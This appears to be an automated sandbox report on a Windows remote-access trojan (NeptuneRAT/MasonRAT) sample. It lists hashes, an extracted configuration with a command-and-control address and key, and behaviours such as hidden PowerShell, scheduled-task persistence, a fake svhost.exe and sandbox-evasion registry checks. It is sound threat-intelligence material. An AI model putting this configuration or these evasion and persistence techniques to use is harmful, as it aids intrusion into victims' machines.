Analysis
- geolocation tags
nanew-jerseynorth-americaunited-statesususa - max time kernel
37s - max time network
42s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-it - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-itlocale:it-itos:windows10-ltsc_2021-x64systemwindows - submitted
05/08/2026, 01:09
Static task
static1
Behavioral task
behavioral1
Sample
Bypassed.exe
Resource
win10v2004-20260513-it
Behavioral task
behavioral2
Sample
Bypassed.exe
Resource
win10ltsc2021-20260513-it
Behavioral task
behavioral3
Sample
Bypassed.exe
Resource
win11-20260513-it
Behavioral task
behavioral4
Sample
Bypassed.exe
Resource
win11ltsc2024-20260709-it
Errors
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bh65navfra
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
- MD5 895088641b452ca046da55b8901462d7
- SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
- SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
- SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
- TLSH T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
neptunerat
-
82.22.62.124:443
-
filename
MasonUSB.exe
-
group
MasonGroup
-
key
eacBkjvaIIlrNRCZ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral2/memory/2520-69-0x000000001B570000-0x000000001B5B4000-memory.dmp family_neptunerat behavioral2/memory/2520-361-0x000000001D7F0000-0x000000001D802000-memory.dmp family_neptunerat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4908 powershell.exe 4880 powershell.exe 3308 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000\Control Panel\International\Geo\Nation Bypassed.exe Key value queried \REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000\Control Panel\International\Geo\Nation c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe Key value queried \REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000\Control Panel\International\Geo\Nation svhost.exe - Executes dropped EXE 5 IoCs
pid Process 2032 c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe 1316 svhost.exe 2520 svhost.exe 3760 nya0z1nb.3yc.exe 752 svhost.exe - Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\System32\Tasks\svhost svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\svhost.exe c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe File opened for modification C:\Windows\svhost.exe c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4176 cmd.exe - Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe - Modifies data under HKEY_USERS 8 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018001973956D81" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018001973956D81 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f1f6b7165a51d44bb6ad304a9b74290b00000000020000000000106600000001000020000000abd4c910ed663509467a76cffdba5f56a7f9289f91ffb01c33bc52402f0be61c000000000e800000000200002000000094f56e7fabbfbc391386f2368e942538139a7834d745416bebaace1db85627a380000000e505b6294fd229dd561e7c07e64f621c3277fead9ce0cd006ddf14807e82ff4f09d2904bb18ba66d8f560c895c44733a6d55eabbc5e10950a5317572d876d58d81c3afd9c04a404293b4df3b10ecfb0e666720ea07eb878b27bd74c1b78dd9b7f20035315b4cb84628bc6f21d615d2ff5d7da17099ca011fa411948a49168bf04000000040c1aa935060ff428247d46ab6a79bda18757f53153977b24c5ee10c68cf502c0bcc07751278337ed4b1a1d683e851d6af673cbe2a51c13c218712fcaf6a700f mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f1f6b7165a51d44bb6ad304a9b74290b000000000200000000001066000000010000200000008d4d52b1511de9505eda3c01b23ed3c3d4e5e055934246862e3a44f7b03d6bff000000000e800000000200002000000092bd2126f92bbf4fed7218d287167027eb851a79ad86c25855a5b46068ce96e5300c0000115fdbb398a8670cc446af79c20f2e02cba1340c23e814c369e56fbde61d2f2bf48b5315d7799bc28a1add1be193d5ecf360caaeb0b6aa2f6a2e89f6ed5326ebcb2804e055b0e4a930e3579e376955d45baeb1fd6da00642a17dfab48b8e755baa00624eaf92b7ccbb6a3258632078ef7a2dfabbc51b63ff061ec28009e9e1f6e39c59456afad2f1cf8f8c4484bbfc4e8ef2872b556c71b1b02c5e6a654cf076f3966b75ce7de7c1110137e191461bb452ffaff1a5e2e2e65212b17ad2c53b6cb44b0193e3b05b9f76dcb8f6c22319fce5c3387275c06a5c6dae39740dd15d4a17c16772127d6fbb501ea692f0d2158292ae3449aa402bb48dd258b4062ed1a1d9e16a47e27f7eace1e84bc7c7d18aa7cbf314725236a37a3b3608b8937754020f0f565a51c23d8863caff0f5fae6f87fc858f4101730909ecdc626a33712a261e7f431e864b5c1853130298c8dec7b384d22fe53f597afa33a68c6a57579c9a6e7c5eef70bfe7131093c89c9027345545e577ed508feed415332d9e457dc100ce16b68ea81d390b1f08580e8f4a7ed6995e5988cf809592b5097a9550d56738222a79f1431402e418f41596fee3483f172e6186637571af72e1da847cf124359cf87280a1149e0bd7351975d4e546838d97a384e236d26bd3c1a015d14ec9167ac45dd4b1680a8a8d11409ed805d635fca42c41f572622d28da1b8b869233ed62525d76f18e962a863d191837d69f68426221239674289cfe29b50286f4fe386cdc84d10a9a3fae7b1a62848b729cb6172d6d550cd21b87d2318389ef493839566e9b033ce8b215e721e9957a215aa12bca74f78cac2362e249217133c3a3bd7e28664a7676665226a83e41cf1c7615692f843c62213c01c46ef7f0528fe29cf4b2bb5f70ee6dd8ce303a3e0462ae9d0579e1228366e2c3bdd71ab13bdfbc02dac8e955cdcd71cc0016075814d9d6d04ae975054f8fdc58f3d0f369d1ac06fc4bfefdd3bae700e67b9fc1281aa22bc501e39a23336ccdedb6af718ab560bcc271c37dfac9c35c0d7c72a1d61856bda90051174f0d1ffb949719f100185f818987dac055f7f31d084f8418e9b21116eab5c2b94b927ba05266b4812f20d6698f38e87f02212a96c57994f34e38e551ad86be654f75a9515497186285c71b0c88c4e1f820c2526dd04a9579fb9f21e8384b1b9f2a5cc8bc4320fc00ed86e0b95559c41c681db2243623790a5420ca0f92c352d5f4d79b3631fbf66adaa001d4266cf35fa36d3ffdbc77920d5c3d578519992977ebf6281866d9ed9af7e9bbf237d290bdf6fafb3db86e787eb92f6e4040ccbb2b8391717e7f9e2f4b51e2dd16943f48f748fc82998cf576d23e2e7bd3d5f3671fc687a15411a79d66dd5743e21c4230a3eda26ddb5836cb0933a9524cb1eb81e893a860652b0c04e03b8f76fd412a19d164cf22e1b2be3d710a33ac6be71de3b3f95f1a0682b9b8efbc5ba8f934be6f274329ca48d346bb089c1333726b9588ac84b7bf0a99d01d6cb4a5520d4392145f2d6b22c3d6a3a90df10ae09e8688c1fc6205a14ad97161ee848566941891a253d97753f8728e85943c099cb96a2b48a1a64d0fbe624b7a2bd579d7c34fbd6103e3d0ac72dda5b46f0fce3c9101d5a11fff6749a2f8c04c22ff287d46a78af1a226d7a1d8d851a1acce0bcabf7ffd7ddbb9774bb49794bcfe26e51e7937ceb4555d35ff023a8739760c295a50f6977e4e63776bb9a5583eb17658ea16a41a6813c938fcdbc44ab386137b1113f2a14cd28e6c4ff70bf3a38835759f8b73df3d9a176428877d123078cf08e3d93831eba952de46203f38c58dc645323f2d2d182313436a3cdbb9fc840a5fdd622aeadad8f81fbe4ac034e5f43fe134490c9df2423803565e5be8392b66639ab56d287b40337a5a0edee028235e729b36015bc91fd46479439743bdae666025b7913a6d7cecff0387aa3cddc468af56354651a17091f8555b4f06cdb8e4ffdd5926d537b3d01f640eee0cccabedd0a73e39b10827fb35a65fa50ac7fc85be79605439aefdf4ff5585477f63355a2e629dc3a7ab367cc3555277b8ac19e05fee9bcf286aa223a84d55ec1aa5d87e4be4bdf001b22d18fad0c2500ef80c9b649d6897b615bf568869cad3dfeff79e224c3c26a1e630fed9f39930d298fb1929280c83a442b4bae374db4a15e0183044454c5e9f82aa7d3a38277ddd273d33f728fcfd455951142bcfc838f280f6b6f232623975f241f646db1313a850e8c722a0dc6b9d9939dc41c7bb1f9bd4d922954c438994747f014d82ca99c895333ce76cfe7e283fb512cd62bc4a36b13e8d884b63a6cd09d54b0761252afe43851604b7dea860419d0461d7db687433e13517fdf4722d1bb09b36987e07027c33e08fc22bbc2bc7eccfc5fb3f0da4d993967f6ed05ec5ffaae8dfa87202d385b8bfba11e15b7ece104da8ce48484ccd6c008fe7cc369bd09c1c302edc253f9a93ec540aa236e3ac23f81a46e629545d6021a085d81943e02285a53a9e63b29374fc1470a3bca0dfdd569ae1651dd78c2aa0f351cd7826cd7b28400cc23582085873b7fd6af08c4ddeb9756f692368385476daa614f4861ed62cacd48e7d067107c5c3642061f6c940d48d8c2423077016cd534dee5fa7c083aab7ab34d72693ef65ff1707cf82e23925f3b1b8fa61b5a23ef48d28c3a61c8617391b71f92e9dde784e197fe6e0445d206248ba3ab5e79a53ad777cf3604836260b928d22a097e3fb7c54a4d55e01b6cf64cce4f941ec4e03aa8418fe7ca2c15ef17ac299cfe557ab931bd64ff3399d54437edff1559f0d7e29f31bcf5faecf62842ea6bc407bf9041339878318490bd21030c4b0e06e2558e70dd5dc6fd8faa0bec569198c2589d3522f56557cf9abea916ea71965422ec2ea09f180ef9d47a281d755597013374d293e0e37e405c1fa445edbe41cdb021bf6a73a689493a4058232bad7cc4c9ba95a9314348fa84001d3694eef3688226fad30d2a159ac60b9595c7e029e92a1db1b5deba32433f737806c302b315665daf694f5264d042bfa985d814e0da7a346080701e6fabb5e8ed13a86db9551a7b4bde4eaa83b92cfa75268e5c8f7e2c7568a372824b65f7593c10137cb4de0f074c5bdce72459d9623f59dcdf571faa379e77dce8dae228c0007ce563c2a5d31f42c361bc6086d7e00aedcd70c666cebf1a22e3f43b52b25c8a7286d713e8f9dea506c4144ecf6c2d84c463517230779cf66541db2c0b1394baba304d11f729bc97d24dc2f1578a6697f26ff7ae604bedfd81495958d157f4b0aa8610139f66dcebd1b24cbb72c31b93449e8f2ed68baab1c750b5d513fcfcf39adaeffb2a655298d9c5d3411647d0884873edaca8c672e5e7dd7918e9b2f5334c118476d9791f2ef0320a92b70006c7704317094fa67ede8ad577f8ce6afdcf2ad7187389dac005ca9b1fbf1caba9f3f1f0521b30857c895da7c987a788c046443edb5b777d4f4ab231dc4409223d8fdba95d5f7d8c61fb85f73422ac83e9a666c7351c96b62cd7681f8a7963a55b2a6271bb844a4047ac5a3c0935f4f9ee0a52e1f0a339747356d587f792dce06aa94e13fdcda22974dcc8e52b58d237abe9f7cd3e6dec1c0bae62c8e9896ae1c9c09340a22657804f7dbce8eecac201e4faa509ca809d7a6f3a6252d3202041db84d223b4f113209143a61271ffc1b68d3acaf3d79e17d8579f911ba0caf1d2d41caee20020f81d84829933266487ca0b8831f32ca0c1e55c1632c2949b83415d082376b5a0c8e82b78d2d50e4b9afe411e6429d41f84df1f593697b33c4eafef4d651a64f59e114ad2af9d712c0dc92c0bd3f17e34d31c6bc742a171ed09d92cfa1ee551d284e393739242b2c1a316157bcf41c39efb84dc7c65d3e143e646e1f9210e43abec3a601bd0e9fc387aa5c13e5e10daf372784f87c7255e5fe09e128f5ad05f52957b0ed3591c0a737190c8d28a121628bf72f68bc0e2aedcee5e25719bc914b3f25a28c05ced21be4375d93e830d9ebedb801427b01023dd979984b5e696594bf183d416f5adb8efb529aa8a8eba19d062b46f6a1e6ec527401233b434eebe418b706aa20648a89fc75611ecfa3de3efc9bb85b885fc6d9019d314d8af81f9322f96c9f5dbfc95431ca55c4c3630888f8b8775eb8a98953c49c0f6e98d42ed2ab13e154fa291a460f955ffbefcc099777cdeffdba48b0b74f854de4a4b286f02d3e18fed2345e2c690c66ce902b9741cefc9e47c1c84d203a597e322d1cfcb8cf8a8e2365e259d9221f4ce66af4959ca6387dc976e38c960dcecfe7ad216a599d6d5226ddcbc5062cf0b566f2be8b51f84b5c06d425d14bec1939047560129cfa280b43d0d0590a40000000514f29050568beaa6496d9ee8813bcb8e81351a1b49ab95aa1fba225708cd63e2b72ff6f2a4e63641f8ddbb738d6f24a948afc9a024a30841d646ab9309223e1 mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018001973956D81" mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4652 SCHTASKS.exe 1312 SCHTASKS.exe 1224 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4880 powershell.exe 4880 powershell.exe 3308 powershell.exe 3308 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 4908 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 4908 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 4908 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 4908 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 4908 powershell.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe 3760 nya0z1nb.3yc.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3372 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2032 c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeIncreaseQuotaPrivilege 4880 powershell.exe Token: SeSecurityPrivilege 4880 powershell.exe Token: SeTakeOwnershipPrivilege 4880 powershell.exe Token: SeLoadDriverPrivilege 4880 powershell.exe Token: SeSystemProfilePrivilege 4880 powershell.exe Token: SeSystemtimePrivilege 4880 powershell.exe Token: SeProfSingleProcessPrivilege 4880 powershell.exe Token: SeIncBasePriorityPrivilege 4880 powershell.exe Token: SeCreatePagefilePrivilege 4880 powershell.exe Token: SeBackupPrivilege 4880 powershell.exe Token: SeRestorePrivilege 4880 powershell.exe Token: SeShutdownPrivilege 4880 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeSystemEnvironmentPrivilege 4880 powershell.exe Token: SeRemoteShutdownPrivilege 4880 powershell.exe Token: SeUndockPrivilege 4880 powershell.exe Token: SeManageVolumePrivilege 4880 powershell.exe Token: 33 4880 powershell.exe Token: 34 4880 powershell.exe Token: 35 4880 powershell.exe Token: 36 4880 powershell.exe Token: SeDebugPrivilege 3308 powershell.exe Token: SeIncreaseQuotaPrivilege 3308 powershell.exe Token: SeSecurityPrivilege 3308 powershell.exe Token: SeTakeOwnershipPrivilege 3308 powershell.exe Token: SeLoadDriverPrivilege 3308 powershell.exe Token: SeSystemProfilePrivilege 3308 powershell.exe Token: SeSystemtimePrivilege 3308 powershell.exe Token: SeProfSingleProcessPrivilege 3308 powershell.exe Token: SeIncBasePriorityPrivilege 3308 powershell.exe Token: SeCreatePagefilePrivilege 3308 powershell.exe Token: SeBackupPrivilege 3308 powershell.exe Token: SeRestorePrivilege 3308 powershell.exe Token: SeShutdownPrivilege 3308 powershell.exe Token: SeDebugPrivilege 3308 powershell.exe Token: SeSystemEnvironmentPrivilege 3308 powershell.exe Token: SeRemoteShutdownPrivilege 3308 powershell.exe Token: SeUndockPrivilege 3308 powershell.exe Token: SeManageVolumePrivilege 3308 powershell.exe Token: 33 3308 powershell.exe Token: 34 3308 powershell.exe Token: 35 3308 powershell.exe Token: 36 3308 powershell.exe Token: SeDebugPrivilege 1316 svhost.exe Token: SeDebugPrivilege 2520 svhost.exe Token: SeDebugPrivilege 2520 svhost.exe Token: SeDebugPrivilege 3760 nya0z1nb.3yc.exe Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeDebugPrivilege 4908 powershell.exe Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeShutdownPrivilege 3372 Explorer.EXE Token: SeCreatePagefilePrivilege 3372 Explorer.EXE Token: SeShutdownPrivilege 1800 svchost.exe Token: SeCreatePagefilePrivilege 1800 svchost.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4888 Conhost.exe 2460 Conhost.exe 5884 Conhost.exe 4832 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2764 wrote to memory of 2032 2764 Bypassed.exe 81 PID 2032 wrote to memory of 4880 2032 c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe 82 PID 2032 wrote to memory of 3308 2032 c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe 86 PID 2520 wrote to memory of 3760 2520 svhost.exe 95 PID 2520 wrote to memory of 4652 2520 svhost.exe 96 PID 3760 wrote to memory of 596 3760 nya0z1nb.3yc.exe 5 PID 3760 wrote to memory of 684 3760 nya0z1nb.3yc.exe 7 PID 3760 wrote to memory of 888 3760 nya0z1nb.3yc.exe 11 PID 3760 wrote to memory of 64 3760 nya0z1nb.3yc.exe 13 PID 3760 wrote to memory of 520 3760 nya0z1nb.3yc.exe 14 PID 3760 wrote to memory of 704 3760 nya0z1nb.3yc.exe 15 PID 3760 wrote to memory of 60 3760 nya0z1nb.3yc.exe 16 PID 3760 wrote to memory of 1088 3760 nya0z1nb.3yc.exe 17 PID 3760 wrote to memory of 1096 3760 nya0z1nb.3yc.exe 18 PID 3760 wrote to memory of 1176 3760 nya0z1nb.3yc.exe 19 PID 3760 wrote to memory of 1184 3760 nya0z1nb.3yc.exe 20 PID 3760 wrote to memory of 1196 3760 nya0z1nb.3yc.exe 21 PID 3760 wrote to memory of 1256 3760 nya0z1nb.3yc.exe 22 PID 3760 wrote to memory of 1304 3760 nya0z1nb.3yc.exe 23 PID 3760 wrote to memory of 1464 3760 nya0z1nb.3yc.exe 24 PID 3760 wrote to memory of 1476 3760 nya0z1nb.3yc.exe 25 PID 3760 wrote to memory of 1488 3760 nya0z1nb.3yc.exe 26 PID 3760 wrote to memory of 1516 3760 nya0z1nb.3yc.exe 27 PID 3760 wrote to memory of 1620 3760 nya0z1nb.3yc.exe 28 PID 3760 wrote to memory of 1664 3760 nya0z1nb.3yc.exe 29 PID 3760 wrote to memory of 1680 3760 nya0z1nb.3yc.exe 30 PID 3760 wrote to memory of 1764 3760 nya0z1nb.3yc.exe 31 PID 3760 wrote to memory of 1824 3760 nya0z1nb.3yc.exe 32 PID 3760 wrote to memory of 1844 3760 nya0z1nb.3yc.exe 33 PID 3760 wrote to memory of 1864 3760 nya0z1nb.3yc.exe 34 PID 3760 wrote to memory of 1876 3760 nya0z1nb.3yc.exe 35 PID 3760 wrote to memory of 1936 3760 nya0z1nb.3yc.exe 36 PID 3760 wrote to memory of 1944 3760 nya0z1nb.3yc.exe 37 PID 3760 wrote to memory of 1408 3760 nya0z1nb.3yc.exe 38 PID 3760 wrote to memory of 2116 3760 nya0z1nb.3yc.exe 40 PID 3760 wrote to memory of 2388 3760 nya0z1nb.3yc.exe 42 PID 3760 wrote to memory of 2532 3760 nya0z1nb.3yc.exe 43 PID 3760 wrote to memory of 2580 3760 nya0z1nb.3yc.exe 44 PID 3760 wrote to memory of 2624 3760 nya0z1nb.3yc.exe 45 PID 3760 wrote to memory of 2632 3760 nya0z1nb.3yc.exe 46 PID 3760 wrote to memory of 2692 3760 nya0z1nb.3yc.exe 47 PID 3760 wrote to memory of 2740 3760 nya0z1nb.3yc.exe 48 PID 3760 wrote to memory of 2792 3760 nya0z1nb.3yc.exe 49 PID 3760 wrote to memory of 2800 3760 nya0z1nb.3yc.exe 50 PID 3760 wrote to memory of 440 3760 nya0z1nb.3yc.exe 52 PID 3760 wrote to memory of 3116 3760 nya0z1nb.3yc.exe 53 PID 3760 wrote to memory of 3140 3760 nya0z1nb.3yc.exe 54 PID 3760 wrote to memory of 3188 3760 nya0z1nb.3yc.exe 55 PID 3760 wrote to memory of 3352 3760 nya0z1nb.3yc.exe 56 PID 3760 wrote to memory of 3372 3760 nya0z1nb.3yc.exe 57 PID 3760 wrote to memory of 3544 3760 nya0z1nb.3yc.exe 58 PID 3760 wrote to memory of 3816 3760 nya0z1nb.3yc.exe 60 PID 3760 wrote to memory of 4028 3760 nya0z1nb.3yc.exe 62 PID 3760 wrote to memory of 2164 3760 nya0z1nb.3yc.exe 63 PID 3760 wrote to memory of 4980 3760 nya0z1nb.3yc.exe 65 PID 3760 wrote to memory of 5020 3760 nya0z1nb.3yc.exe 67 PID 3760 wrote to memory of 2136 3760 nya0z1nb.3yc.exe 68 PID 3760 wrote to memory of 5028 3760 nya0z1nb.3yc.exe 69 PID 3760 wrote to memory of 2176 3760 nya0z1nb.3yc.exe 70 PID 3760 wrote to memory of 2512 3760 nya0z1nb.3yc.exe 71 PID 3760 wrote to memory of 1148 3760 nya0z1nb.3yc.exe 72 PID 3760 wrote to memory of 4000 3760 nya0z1nb.3yc.exe 73 PID 3760 wrote to memory of 3808 3760 nya0z1nb.3yc.exe 74 PID 3760 wrote to memory of 1084 3760 nya0z1nb.3yc.exe 75 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:596
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:520
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d807e9c6-9694-47b6-93b5-62c70ed346f7 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3c8dd1fc-8ed7-4409-902c-fbecdef4e2d6 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-25e9666d-42da-4406-a6b3-c9d47d6bbe28 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d98e819a-391b-4aab-ab27-803f8ab810b8 -LifetimeId:01bc0421-56ef-49ec-9ce9-96444c35b746 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:64
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:60
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1096
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1184 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3140
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C:\Windows\svhost.exe"C:\Windows\svhost.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520 -
